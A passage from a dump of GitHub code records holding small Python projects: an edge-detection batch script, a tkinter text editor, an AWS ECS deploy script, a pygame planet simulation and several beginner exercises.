plt.subplot(1, 2, fig_idx)\n global current_edges_brightness\n current_edges_brightness = brightness_of(edges)\n plt.title(brightness_of(edges))\n plt.imshow(edges, cmap=\"gray\")\n\n\ndef batch_output_filename(\n target: Path, low: int, high: int, blur: int = 0, boost_contrast: int = 1\n) -> Path:\n directory = (\n Path(__file__).parent / \"edge-detection/batches\" / target.with_suffix(\"\")\n )\n directory.mkdir(parents=True, exist_ok=True)\n return (\n directory\n / f\"blur={blur}-mult={boost_contrast}-{low+high:04d}-low={low:03d}-high={high:03d}.png\"\n )\n\n\n@concurrent\ndef do_one(image_path: Path, image, low, high, σ, blur, progress, boost_contrast):\n if blur:\n image = cv2.blur(image, (blur, blur))\n\n if boost_contrast != 1:\n image *= boost_contrast\n\n plt.subplot(1, 2, 1)\n plt.imshow(image, cmap=\"gray\")\n plt.title(brightness_of(image))\n\n display_edges(2, \"Cassé\", image, low, high, σ=σ, blur=0)\n\n plt.suptitle(\n f\"hi {high} lo {low} blur {blur} multi {boost_contrast}\" # . σ: {σ}.\\nPré-traitements: {'Flou: %d' % blur if blur else 'Aucun'}\"\n f\" /: {brightness_of(image)/current_edges_brightness:.3f}; Δ: {brightness_of(image) - current_edges_brightness:.3f}\"\n # f\"\\nContraste: {contrast_of(image)}\"\n )\n\n plt.savefig(\n batch_output_filename(\n image_path, low=low, high=high, blur=blur, boost_contrast=boost_contrast\n )\n )\n progress.done += 1\n print(image_path.stem, boost_contrast, blur, low, high, progress.done)\n # progress_bar.update(\n # task,\n # advance=1,\n # description=Path(\n # batch_output_filename(broken, low=low, high=high, blur=blur)\n # ).name,\n # )\n\n\n@synchronized\ndef do_batch(\n filepaths: list[Path],\n blur_values: list[int],\n high_values: list[int],\n contrast_boost_values: list[int],\n σ: int = 3,\n):\n \"\"\"\n Does a batch of edge detection on image image with all combinations of provided low & high thresholds.\n - image: A tuple of paths (broken bone image, baseline or \"healed\" image) or a single path (broken bone only)\n - use_blur: whether to preprocess the image with blur\n - σ: sets aperture size.\n \"\"\"\n progress = Progress(\n done=0,\n total=len(filepaths)\n * len(high_values)\n * len(blur_values)\n * len(contrast_boost_values),\n )\n for filepath in filepaths:\n image = cv2.imread(str(filepath), cv2.IMREAD_GRAYSCALE)\n\n # with Progress() as progress_bar:\n # task = progress_bar.add_task(\n # \"[blue]Processing...\",\n # total=len(list(high_values))\n # * len(list(low_values) * len(list(blur_values))),\n # )\n\n for blur in blur_values:\n for boost_contrast in contrast_boost_values:\n for high in high_values:\n # for low in low_values:\n do_one(\n filepath,\n image,\n int(high / 2),\n high,\n σ,\n blur,\n progress,\n boost_contrast=boost_contrast,\n )\n\n\nif __name__ == \"__main__\":\n opts = docopt(__doc__)\n target = Path(opts[\"TARGET\"])\n if Path(target).is_dir():\n filenames = list(target.glob(\"*\"))\n else:\n filenames = [Path(target)]\n threshold_values = list(\n range(int(opts[\"START\"]), int(opts[\"STOP\"]), int(opts[\"STEP\"]))\n )\n\n do_batch(\n # image=(target, target.parent / f\"{target.with_suffix('').name}_baseline.png\"),\n filepaths=filenames,\n high_values=threshold_values,\n blur_values=list(map(int, opts[\"--blur\"])),\n contrast_boost_values=list(map(int, opts[\"--contrast\"])),\n σ=int(opts[\"--aperture\"]),\n )\n","repo_name":"ewen-lbh/bone-fracture-detection","sub_path":"edge_detection_batch.py","file_name":"edge_detection_batch.py","file_ext":"py","file_size_in_byte":5089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22257203861","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nclass Student(object):\n def __init__(self, name, score):\n # 实例的变量名如果以__开头,就变成了一个私有变量(private),只有内部可以访问,外部不能访问\n self.__name = name\n self.__score = score\n\n def get_grade(self):\n if self.__score >= 90:\n return 'A'\n elif self.__score >= 60:\n return 'B'\n else:\n return 'C'\n\n # 数据封装\n def get_score(self):\n return '%s: %s' % (self.__name, self.__score)\n\n def get_name(self):\n return self.__name\n\n def get_score(self):\n return self.__score\n\n def set_score(self, score):\n if 0 <= score <= 100:\n self.__score = score\n else:\n raise ValueError('bad score')\n\n\nAdam = Student('Adam', 100)\n# print(Adam.name, Adam.score)\n# print_score(Adam)\nAdam.get_score()\nlisa = Student('Lisa', 89)\nbart = Student('Bart', 59)\nprint(Adam.get_score(), Adam.get_grade())\nprint(lisa.get_score(), lisa.get_grade())\nprint(bart.get_score(), bart.get_grade())\nAdam.set_score(90)\nprint(Adam.get_score())\n","repo_name":"HYAdonisCoding/LearnPython","sub_path":"python3_object.py","file_name":"python3_object.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"71994399844","text":"# popup_html.py\n# 2023-06-01 K.OHWAA\n\nimport folium\n\nTITLE = 'Popup html'\n\nFILE_HTML = 'popup_html.html'\n\n\nFORMAT_TITLE = '

    {}

    '\n\nFORMAT_HTML ='{name}'\n\n# Yokohama Station\nname = 'Yokohama Station'\nlat = 35.465833 \nlon = 139.622778 \nZOOM = 15\n\n\nhtml =FORMAT_HTML.format(color='red', name=name)\n\n\n# Map\nmap = folium.Map(location=[lat, lon], zoom_start=ZOOM)\n\n# .Marker\nfolium.Marker(location=[lat, lon], popup=html).add_to(map)\n\n# add title\ntitle_html = FORMAT_TITLE.format(TITLE)\nmap.get_root().html.add_child(folium.Element(title_html))\n\n# save html file\nmap.save(FILE_HTML)\n","repo_name":"ohwada/World_Countries","sub_path":"folium/custom_popup/python/popup_html.py","file_name":"popup_html.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37657889550","text":"from tkinter import *\r\nfrom tkinter import filedialog\r\nfrom tkinter import font\r\n\r\nroot = Tk()\r\nroot.title('Simple TextEditor')\r\nroot.iconbitmap('icontext.png')\r\nroot.geometry('1200x680')\r\n\r\nglobal open_status_name\r\nopen_status_name = False\r\n\r\nglobal selected\r\nselected = False\r\n\r\ndef new_file():\r\n my_text.delete(\"1.0\",END)\r\n root.title('New File - TextEditor!')\r\n status_bar.config(text=\"New File \")\r\n global open_status_name\r\n open_status_name = False\r\n\r\ndef open_file():\r\n my_text.delete(\"1.0\",END)\r\n\r\n text_file = filedialog.askopenfilename(initialdir=\"\", title=\"Open File\", filetypes=((\"Text Files\", \"*.txt\"),(\"HTML Files\", \"*.html\"),(\"Pthon Files\", \"*.py\"),(\"All Files\", \"*.*\") ))\r\n \r\n if text_file:\r\n global open_status_name\r\n open_status_name = text_file\r\n\r\n\r\n name = text_file\r\n status_bar.config(text=f'{name} ')\r\n root.title(f'{name} - textEditor!')\r\n\r\n text_file = open(text_file , 'r')\r\n stuff = text_file.read()\r\n my_text.insert(END, stuff)\r\n text_file.close()\r\n\r\ndef save_as_file():\r\n text_file = filedialog.asksaveasfilename(defaultextension=\".*\",initialdir=\" \",title=\"save File\",filetypes=((\"Text Files\", \"*.txt\"),(\"HTML Files\", \"*.html\"),(\"Pthon Files\", \"*.py\"),(\"All Files\", \"*.*\") ))\r\n if text_file:\r\n name =text_file\r\n status_bar.config(text=f'Saved: {name} ')\r\n root.title(f'{name} - textEditor!')\r\n\r\n text_file = open(text_file, 'w')\r\n text_file.write(my_text.get(1.0,END))\r\n text_file.close()\r\n\r\ndef save_file():\r\n global open_status_name\r\n if open_status_name:\r\n text_file = open(open_status_name, 'w')\r\n text_file.write(my_text.get(1.0,END))\r\n text_file.close()\r\n status_bar.config(text=f'Saved: {open_status_name} ')\r\n\r\n else:\r\n save_as_file()\r\n\r\ndef cut_text(e):\r\n global selected\r\n if e:\r\n selected = root.clipboard_get()\r\n\r\n if my_text.selection_get():\r\n selected = my_text.selection_get()\r\n my_text.delete(\"sel.first\",\"sel.last\")\r\n root.clipboard_clear()\r\n root.clipboard_append(selected)\r\n\r\ndef copy_text(e):\r\n global selected\r\n\r\n if e:\r\n selected = root.clipboard_get()\r\n\r\n if my_text.selection_get():\r\n selected = my_text.selection_get()\r\n root.clipboard_clear()\r\n root.clipboard_append(selected)\r\n\r\ndef paste_text(e):\r\n global selected\r\n if e:\r\n selected = root.clipboard_get()\r\n else : \r\n if selected:\r\n position = my_text.index(INSERT)\r\n my_text.insert(position, selected)\r\n\r\ndef bold_it():\r\n\r\n bold_font = font.Font(my_text, my_text.cget(\"font\"))\r\n bold_font.configure(weight=\"bold\")\r\n my_text.tag_configure(\"bold\", font=bold_font)\r\n\r\n current_tags = my_text.tag_names(\"sel.first\")\r\n if \"bold\" in current_tags:\r\n my_text.tag_remove(\"bold\",\"sel.first\",\"sel.last\")\r\n else:\r\n my_text.tag_add(\"bold\",\"sel.first\",\"sel.last\")\r\n\r\ndef italics_it():\r\n \r\n italics_font = font.Font(my_text, my_text.cget(\"font\"))\r\n italics_font.configure(slant=\"italic\")\r\n my_text.tag_configure(\"italic\", font=italics_font)\r\n\r\n current_tags = my_text.tag_names(\"sel.first\")\r\n if \"italic\" in current_tags:\r\n my_text.tag_remove(\"italic\",\"sel.first\",\"sel.last\")\r\n else:\r\n my_text.tag_add(\"italic\",\"sel.first\",\"sel.last\")\r\n\r\ntoolbar_frame = Frame(root)\r\ntoolbar_frame.pack(fill=X)\r\n\r\nmy_frame = Frame(root)\r\nmy_frame.pack(pady=5)\r\n\r\ntext_scroll = Scrollbar(my_frame)\r\ntext_scroll.pack(side= RIGHT , fill = Y)\r\n\r\nhor_scroll = Scrollbar(my_frame, orient = 'horizontal')\r\nhor_scroll.pack(side= BOTTOM , fill = X)\r\n\r\nmy_text = Text(my_frame, width = 97, height=25, font =(\"Helvetica\", 16 ) , selectbackground=\"yellow\", selectforeground=\"black\",undo = True, yscrollcommand=text_scroll.set, wrap = \"none\",xscrollcommand=hor_scroll.set)\r\nmy_text.pack()\r\n\r\ntext_scroll.config(command=my_text.yview)\r\nhor_scroll.config(command=my_text.xview)\r\n\r\nmy_menu = Menu(root)\r\nroot.config(menu=my_menu)\r\n\r\nfile_menu = Menu(my_menu, tearoff=FALSE)\r\nmy_menu.add_cascade(label=\"File\", menu=file_menu)\r\n\r\nfile_menu.add_command(label=\"New\", command=new_file)\r\nfile_menu.add_command(label=\"Open\", command=open_file)\r\nfile_menu.add_command(label=\"Save\", command= save_file)\r\nfile_menu.add_command(label=\"Save As\", command =save_as_file)\r\nfile_menu.add_separator()\r\nfile_menu.add_command(label=\"Exit\",command = root.quit)\r\n\r\n\r\nedit_menu = Menu(my_menu, tearoff=FALSE)\r\nmy_menu.add_cascade(label=\"Edit\", menu=edit_menu)\r\n\r\nedit_menu.add_command(label=\"Cut (Ctrl+x)\", command=lambda: cut_text(False))\r\nedit_menu.add_command(label=\"Copy (Ctrl+c)\", command=lambda: copy_text(False))\r\nedit_menu.add_command(label=\"Paste (Ctrl+v)\", command=lambda: paste_text(False))\r\nedit_menu.add_separator()\r\nedit_menu.add_command(label=\"Undo (Ctrl+z)\", command=my_text.edit_undo)\r\nedit_menu.add_command(label=\"Redo (Ctrl+y)\", command=my_text.edit_redo)\r\n\r\nstatus_bar = Label(root, text = 'Ready ', anchor=E)\r\nstatus_bar.pack(fill=X, side= BOTTOM, ipady=15) \r\n\r\nroot.bind('', cut_text)\r\nroot.bind('', copy_text)\r\nroot.bind('', paste_text)\r\n\r\nbold_button = Button(toolbar_frame, text= \"Bold\", command=bold_it)\r\nbold_button.grid(row=0,column=0,sticky=W,padx=5)\r\n\r\nitalics_button = Button(toolbar_frame, text= \"Italics\", command=italics_it)\r\nitalics_button.grid(row=0,column=1,padx=5)\r\n\r\nundo_button = Button(toolbar_frame, text= \"Undo\", command=my_text.edit_undo)\r\nundo_button.grid(row=0,column=2,padx=5)\r\n\r\nredo_button = Button(toolbar_frame, text= \"Redo\", command=my_text.edit_redo)\r\nredo_button.grid(row=0,column=3,padx=5)\r\n\r\n\r\nroot.mainloop()","repo_name":"Hritikhalli/Text-Editor","sub_path":"Texteditor.py","file_name":"Texteditor.py","file_ext":"py","file_size_in_byte":5759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28352539418","text":"from configuration import app_directory\nfrom typing import List, Dict\nimport json\nimport os\n\n\nclass TargetConfiguration:\n\n def __init__(self, name: str):\n self.name = name\n self.host: str = ''\n self.port: int = 0\n self.username: str = ''\n self.password: str = ''\n self.schemas: List[str] = []\n self.groups: Dict[str, List[str]] = {}\n try:\n with open(self.file_path(), encoding='utf-8') as source_file:\n self.__dict__ = json.load(source_file)\n self.loaded = True\n except OSError:\n self.loaded = False\n self.name = name\n\n def file_path(self) -> str:\n return os.path.join(app_directory, self.name + '.json')\n\n def save(self):\n with open(self.file_path(), 'w', encoding='utf-8') as target_file:\n json.dump(\n self.serialized(),\n target_file,\n ensure_ascii=False,\n indent=4,\n sort_keys=True\n )\n\n def add_schemas(self, group: str, schemas: List[str]):\n if group and group not in self.groups:\n self.groups[group] = []\n for schema in schemas:\n if schema not in self.schemas:\n self.schemas.append(schema)\n if group and schema not in self.groups[group]:\n self.groups[group].append(schema)\n\n def remove_schemas(self, group: str, schemas: List[str]):\n if group and group not in self.groups:\n print('Group {group} does not exist.'.format(group=group))\n return\n for schema in schemas:\n if group:\n if schema in self.groups[group]:\n self.groups[group].remove(schema)\n else:\n if schema in self.schemas:\n self.schemas.remove(schema)\n if group and not self.groups[group]:\n self.groups.pop(group, None)\n\n def get_schemas(self, group: str = '') -> List[str]:\n if not group:\n return self.schemas\n elif group in self.groups:\n return self.groups[group]\n else:\n return []\n\n def serialized(self):\n copy = self.__dict__.copy()\n copy.pop('name', None)\n copy.pop('loaded', None)\n return copy\n","repo_name":"mikrzem/multitenancy-helper","sub_path":"configuration/target.py","file_name":"target.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28459141341","text":"n = int(input())\nwhile n > 0:\n mina = input()\n diamante = 0\n cont = 0\n for i in mina:\n if i == '<':\n cont += 1 # O \"inicio\" (<) do diamante\n elif i == '>':\n if (cont - 1) >= 0: # Caso o cont seja negativo, significa que não há diamantes a serem formados \n cont -= 1 # Caso o cont seja positivo, significa que o \"inicio\" (<) dos diamantes podem ser fechados com seus respectivos \"finais\" (>),\n diamante += 1 # Formando então um diamante\n print(diamante)\n n -= 1","repo_name":"TaniaDev/PBD_EntregaSemana1","sub_path":"exercicio_4.py","file_name":"exercicio_4.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74528407844","text":"# coding: utf-8\nfrom __future__ import unicode_literals\nimport logging\nimport sys\nimport argparse\n\nfrom ecs import ECSService\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(message)s')\nlogging.getLogger(\"botocore\").setLevel(logging.WARNING)\nlogger = logging.getLogger(__name__)\nh1 = lambda x: logger.info(\"\\033[1m\\033[4m\\033[94m%s\\033[0m\\n\" % x)\nsuccess = lambda x: logger.info(\"\\033[92m✔ %s\\033[0m\\n\" % x)\nerror = lambda x: logger.info(\"\\033[91m✖ %s\\033[0m\\n\" % x)\n\n# Arguments parsing\nparser = argparse.ArgumentParser(description='Deploy Service on ECS')\nparser.add_argument('--key', dest='key', required=True)\nparser.add_argument('--secret', dest='secret', required=True)\nparser.add_argument('--region', dest='region', default='us-east-1')\nparser.add_argument('--cluster-name', dest='cluster_name', required=True)\nparser.add_argument('--task-definition-name', dest='task_definition_name', required=True)\nparser.add_argument('--task-definition-file', dest='task_definition_file', required=True)\nparser.add_argument('--service-name', dest='service_name', required=False)\nparser.add_argument('--minimum-running-tasks', type=int, dest='minimum_running_tasks', default=1, required=False)\nargs = parser.parse_args()\n\ntry:\n\n serviceMode = args.service_name is not None\n\n # Step: Configuring AWS\n h1(\"Step: Configuring AWS\")\n ecs = ECSService(access_key=args.key, secret_key=args.secret, region=args.region)\n success(\"Configuring AWS succeeded\")\n\n # Step: Check ECS cluster\n h1(\"Step: Check ECS cluster\")\n ecs.describe_cluster(cluster=args.cluster_name)\n success(\"Checking cluster '%s' succeeded\" % args.cluster_name)\n\n # Step: Check ECS Service\n if serviceMode:\n h1(\"Step: Check ECS Service\")\n response = ecs.describe_service(cluster=args.cluster_name, service=args.service_name)\n original_running_count = (response.get('services')[0]).get('runningCount')\n success(\"Checking service '%s' succeeded (%d tasks running)\" % (args.service_name, original_running_count))\n\n # Step: Register New Task Definition\n h1(\"Step: Register New Task Definition\")\n response = ecs.register_task_definition(family=args.task_definition_name, file=args.task_definition_file)\n task_definition_arn = response.get('taskDefinition').get('taskDefinitionArn')\n success(\"Registering task definition '%s' succeeded\" % task_definition_arn)\n\n if serviceMode:\n\n # Step: Downscale ECS Service if necessary\n if original_running_count >= args.minimum_running_tasks:\n h1(\"Step: Downscale ECS Service\")\n response = ecs.downscale_service(cluster=args.cluster_name, service=args.service_name)\n downscale_running_count = (response.get('services')[0]).get('runningCount')\n success(\"Downscaling service '%s' (from %d to %d tasks) succeeded\"\n % (args.service_name, original_running_count, downscale_running_count))\n delta = 1\n else:\n h1(\"Step 5: Downscale ECS Service\")\n success(\"Downscaling service is not necessary (not enough tasks are running)\")\n delta = args.minimum_running_tasks - original_running_count\n\n # Step: Update ECS Service\n h1(\"Step: Update ECS Service\")\n response = ecs.update_service(cluster=args.cluster_name, service=args.service_name, taskDefinition=task_definition_arn)\n running_count = (response.get('services')[0]).get('runningCount')\n success(\"Updating service '%s' with task definition '%s' succeeded\" % (args.service_name, task_definition_arn))\n\n # Step: Upscale ECS Service\n h1(\"Step: Upscale ECS Service\")\n response = ecs.upscale_service(cluster=args.cluster_name, service=args.service_name, delta=delta)\n upscale_running_count = (response.get('services')[0]).get('runningCount')\n success(\"Upscaling service '%s' (from %d to %d tasks) succeeded\"\n % (args.service_name, running_count, upscale_running_count))\n else:\n # Step: run task\n h1(\"Step: Run task\")\n response = ecs.run_task(cluster=args.cluster_name, family=args.task_definition_name)\n success(\"Task %s succeeded\" % (response.get('tasks')[0].get('taskArn')))\n\nexcept Exception as e:\n error(e)\n sys.exit(1)\n","repo_name":"elsevier-research/wercker-aws-ecs","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"113148154","text":"import pygame\npygame.init()\nimport math\nimport random\n\nWIDTH, HEIGHT = 1400, 1400\nWINDOW = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Planet SimulationV2\")\n\n# Colors\nRED = (255, 0, 0)\nLTRED = (188, 39, 50)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nLTBLUE = (100, 149, 245)\nYELLOW = (255, 255, 0)\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nPURPLE = (128, 0, 128)\nORANGE = (255, 165, 0)\nGREY = (128, 128, 128)\nTURQUOISE = (64, 224, 208)\nDARK_GRAY = (80, 78, 81)\n\nFONT = pygame.font.SysFont('verdana', 14, bold=True)\nTIMESTEP_OPTIONS = [3600, 3600 * 6, 3600 * 12, 3600 * 24, 3600 * 24 * 2, 3600 * 24 * 7]\nTIMESTEP_NAMES = ['One Hour', 'Six Hours', 'Tweleve Hours', 'One Day', 'Two Days', 'One Week']\nTIMESTEP_INDEX = 3\nTIMESTEP = TIMESTEP_OPTIONS[TIMESTEP_INDEX]\nTIMESTEP_DISPLAY = TIMESTEP_NAMES[TIMESTEP_INDEX]\n\n\nclass Planet:\n AU = 149.6e9\n G = 6.67428e-11\n SCALE = 125 / AU \n\n def __init__(self, name, distance_to_parent, radius, color, mass, *, parent=None, draw_orbit=True):\n self.name = name\n self.distance_to_parent = distance_to_parent\n self.radius = radius\n self.color = color\n self.mass = mass\n self.parent = parent\n self.draw_orbit = draw_orbit\n self.orbit = []\n self.x, self.y, self.x_vel, self.y_vel = self.random_start_location(distance_to_parent * Planet.AU)\n\n \n def random_start_location(self, distance):\n if self.parent:\n angle = 2 * math.pi * random.random()\n x = self.parent.x + distance * math.cos(angle)\n y = self.parent.y + distance * math.sin(angle)\n\n velocity = math.sqrt(Planet.G * self.parent.mass / distance)\n vy = velocity * math.cos(angle)\n\n vx = -velocity * math.sin(angle)\n\n if self.parent.parent:\n distance = math.sqrt(x**2 + y**2)\n theta = math.atan2(y, x)\n\n new_velocity = math.sqrt(Planet.G * self.parent.parent.mass / distance)\n vy += new_velocity * math.cos(theta)\n\n vx -= new_velocity * math.sin(theta)\n \n else:\n x = y = vx = vy = 0\n\n return x, y, vx, vy\n\n\n def draw(self, window, show_text=False):\n x = self.x * self.SCALE + WIDTH / 2\n y = self.y * self.SCALE + HEIGHT / 2\n\n if self.draw_orbit and len(self.orbit) > 2:\n updated_points = []\n for point in self.orbit:\n x, y = point\n x = x * self.SCALE + WIDTH / 2\n y = y * self.SCALE + HEIGHT / 2\n updated_points.append((x, y))\n\n pygame.draw.lines(window, self.color, False, updated_points, 2)\n\n pygame.draw.circle(window, self.color, (x, y), self.radius)\n\t\t\n if show_text and self.draw_orbit:\n # Draw name of object below object\n name_text = FONT.render(self.name, 1, WHITE)\n window.blit(name_text, (x - name_text.get_width()/2, y - name_text.get_height()/2 + self.radius + 10))\n # Draw distance from sun below name of object\n distance_text = FONT.render(f\"{self.distance_to_parent:.4f}AU\", 1, WHITE)\n window.blit(distance_text, (x - distance_text.get_width()/2, y - distance_text.get_height()/2 + self.radius + 30))\n\n\n def attraction(self):\n current = self.parent\n force_x = force_y = 0\n while current:\n distance_x = current.x - self.x\n distance_y = current.y - self.y\n distance = math.sqrt(distance_x**2 + distance_y**2)\n if current is self.parent:\n self.distance_to_parent = distance / Planet.AU\n\n force = self.G * self.mass * current.mass / distance ** 2\n theta = math.atan2(distance_y, distance_x)\n force_x += force * math.cos(theta)\n force_y += force * math.sin(theta)\n\n current = current.parent\n\n return force_x, force_y\n\n\n def update_position(self):\n if self.parent:\n fx, fy = self.attraction()\n\n self.x_vel += (fx / self.mass) * TIMESTEP\n self.y_vel += (fy / self.mass) * TIMESTEP\n\n self.x += self.x_vel * TIMESTEP\n self.y += self.y_vel * TIMESTEP\n self.orbit.append((self.x, self.y))\n\n\ndef create_asteroid_belt(planets: list, num_asteroids: int, sun: Planet) -> list:\n random_lst = [1] * 950 + [2] * 49 + [3] * 1\n\n for _ in range(num_asteroids):\n distance = random.gauss(2.67, 0.25)\n radius = random.choice(random_lst)\n mass = random.uniform(1e19, 1e21)\n planets.append(Planet('Asteroid', distance, radius, DARK_GRAY, mass, parent=sun, draw_orbit=False))\n \n return planets\n\n\nclass Toggle_Button(pygame.sprite.Sprite):\n def __init__(self, scale, x, y):\n super(Toggle_Button, self).__init__()\n self.scale = scale\n img_on = pygame.image.load('Python_Playground\\\\toggle1.png')\n self.img_on = pygame.transform.scale(img_on, self.scale)\n img_off = pygame.image.load('Python_Playground\\\\toggle2.png')\n self.img_off = pygame.transform.scale(img_off, self.scale)\n self.image = self.img_on\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.on = True\n\n\n def update(self, pos):\n if self.rect.collidepoint(pos):\n self.on = not self.on\n self.image = self.img_on if self.on else self.img_off\n\n return self.on\n\n\n def draw(self, win):\n Toggle_text = FONT.render(\"Toggle Text\", 1, WHITE)\n win.blit(Toggle_text, (self.rect.x - Toggle_text.get_width() - 15, self.rect.y + 4))\n win.blit(self.image, self.rect)\n\n\ndef initialize_sim():\n # Initialize objects\n sun = Planet('Sun', 0, 20, YELLOW, 1.98892e30, draw_orbit=False)\n mecury = Planet('Mecury', 0.387, 4, DARK_GRAY, 3.3e23, parent=sun)\n venus = Planet('Venus', 0.723, 7, ORANGE, 4.8685e24, parent=sun)\n earth = Planet('Earth', 1, 8, LTBLUE, 5.9742e24, parent=sun)\n luna = Planet('Luna', .002569, 2, GREY, 7.34767309e22, parent=earth, draw_orbit=False)\n mars = Planet('Mars', 1.524, 5, LTRED, 6.39e23, parent=sun)\n jupiter = Planet('Jupiter', 5.2, 15, TURQUOISE, 1.89813e27, parent=sun)\n\n planets = [sun, mecury, venus, earth, luna, mars, jupiter]\n\n # Initilize asteroid belt\n planets = create_asteroid_belt(planets, 5000, sun)\n\n return planets\n\n\n\ndef display_date():\n pass\n\n\ndef increase_timestep():\n pass\n\n\ndef decrease_timestep():\n pass\n\n\ndef main():\n clock = pygame.time.Clock() # Allows simulation to run at set speed rather than speed of computer\n\n planets = initialize_sim()\n\n # Text toggle button\n toggle1_btn = Toggle_Button((50,30), 1325, 25)\n show_text = True\n\n while True:\n clock.tick(60) # Update at 60 FPS\n WINDOW.fill(BLACK)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n # Toggle text button\n if pygame.mouse.get_pressed()[0]:\n pos = pygame.mouse.get_pos()\n show_text = toggle1_btn.update(pos)\n\n # Restart simulation\n if event.type == pygame.KEYDOWN and event.key == pygame.K_c:\n planets = initialize_sim()\n\n for planet in planets:\n planet.update_position()\n planet.draw(WINDOW, show_text)\n\n toggle1_btn.draw(WINDOW)\n pygame.display.update()\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\"\"\"TODO\nMake button not look terrible\nget moons to work\nDisplay simulated date\nadjustable timestep\n\"\"\"","repo_name":"unit0113/projects","sub_path":"Python_Playground/planets2.py","file_name":"planets2.py","file_ext":"py","file_size_in_byte":7655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71276437606","text":"#!/usr/bin/python3\n\"\"\"Pascal's triangle function\"\"\"\n\n\ndef pascal_triangle(n):\n \"\"\"return list of integers rep Pascal's triangle\"\"\"\n\n if n <= 0:\n return []\n tri = [[1]]\n for i in range(1, n):\n row = [1]\n for j in range(1, i+1):\n if j == i:\n row.append(1)\n else:\n row.append(tri[i-1][j-1] + tri[i-1][j])\n tri.append(row)\n return tri\n","repo_name":"DustinDavis02/holbertonschool-higher_level_programming","sub_path":"python-input_output/12-pascal_triangle.py","file_name":"12-pascal_triangle.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10554985714","text":"import time\r\nclass Pet:\r\n def __init__(self, name, Type, age):\r\n self.name = name\r\n self.Type = Type\r\n self.age = age\r\n get_name = name\r\n get_animal_type = Type\r\n get_age = age\r\n\r\n def main(self):\r\n \r\n\r\n start = input('Press enter to start: ')\r\n time.sleep(1)\r\n print()\r\n inputName = input(\"Enter the animal's name: \")\r\n inputType = input(\"Enterthe animal's type: \")\r\n inputAge = int(input(\"Enter the animal's age: \"))\r\n finalAnimal = Pet(inputName, inputType, inputAge)\r\n print('Alright...')\r\n print()\r\n print()\r\n print(f'The name is {finalAnimal.name}')\r\n print(f'The type is {finalAnimal.Type}')\r\n print(f'The age is {finalAnimal.age}')\r\n\r\n\r\np1 = Pet('d','d','d')\r\np1.main()\r\n","repo_name":"PapaBig1/Python-Projects","sub_path":"I-O example.py","file_name":"I-O example.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9259772239","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def levelOrderBottom(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n if not root:\n return []\n ret = []\n level = [(root,)]\n while level:\n val = [node.val for nodes in level for node in nodes if node]\n level = [(node.left, node.right) for nodes in level for node in nodes if node]\n if val:\n ret.append(val)\n return ret[::-1]\n","repo_name":"JushuangQiao/MyCodes","sub_path":"leetcode/python/107.py","file_name":"107.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70581762086","text":"class RomanToInteger:\n \"\"\"\n Given a roman numeral, convert it to an integer.\n Roman numerals are usually written largest to smallest from left to right.\n The number four is written as IV. Because the one is before the five we subtract it making four.\n There are six instances where subtraction is used:\n I can be placed before V (5) and X (10) to make 4 and 9.\n X can be placed before L (50) and C (100) to make 40 and 90.\n C can be placed before D (500) and M (1000) to make 400 and 900.`\n \"\"\"\n\n def __init__(self):\n self.input_str = \"MCMXCVI\"\n self.expected = 1996\n\n @staticmethod\n def roman_to_int_mysln(input_s: str) -> int:\n \"\"\"\n \"\"\"\n roman_mapping = {\n \"I\": 1,\n \"V\": 5,\n \"X\": 10,\n \"L\": 50,\n \"C\": 100,\n \"D\": 500,\n \"M\": 1000,\n }\n\n exceptions = {\n \"IX\": 9,\n \"IV\": 4,\n \"XL\": 40,\n \"XC\": 90,\n \"CD\": 400,\n \"CM\": 900,\n }\n int_list = []\n\n skip_num = 0\n for i in range(len(input_s)):\n idx = i + skip_num\n if idx < (len(input_s) - 1):\n if (input_s[idx] + input_s[idx + 1]) in exceptions:\n int_list.append(exceptions[input_s[idx] + input_s[idx + 1]])\n skip_num += 1\n else:\n int_list.append(roman_mapping[input_s[idx]])\n elif idx == (len(input_s) - 1):\n int_list.append(roman_mapping[input_s[idx]])\n else:\n break\n\n print(sum(int_list))\n\n return sum(int_list)\n\n def exec_solutions(self):\n assert self.roman_to_int_mysln(self.input_str) == self.expected\n\n\nif __name__ == \"__main__\":\n sln = RomanToInteger()\n 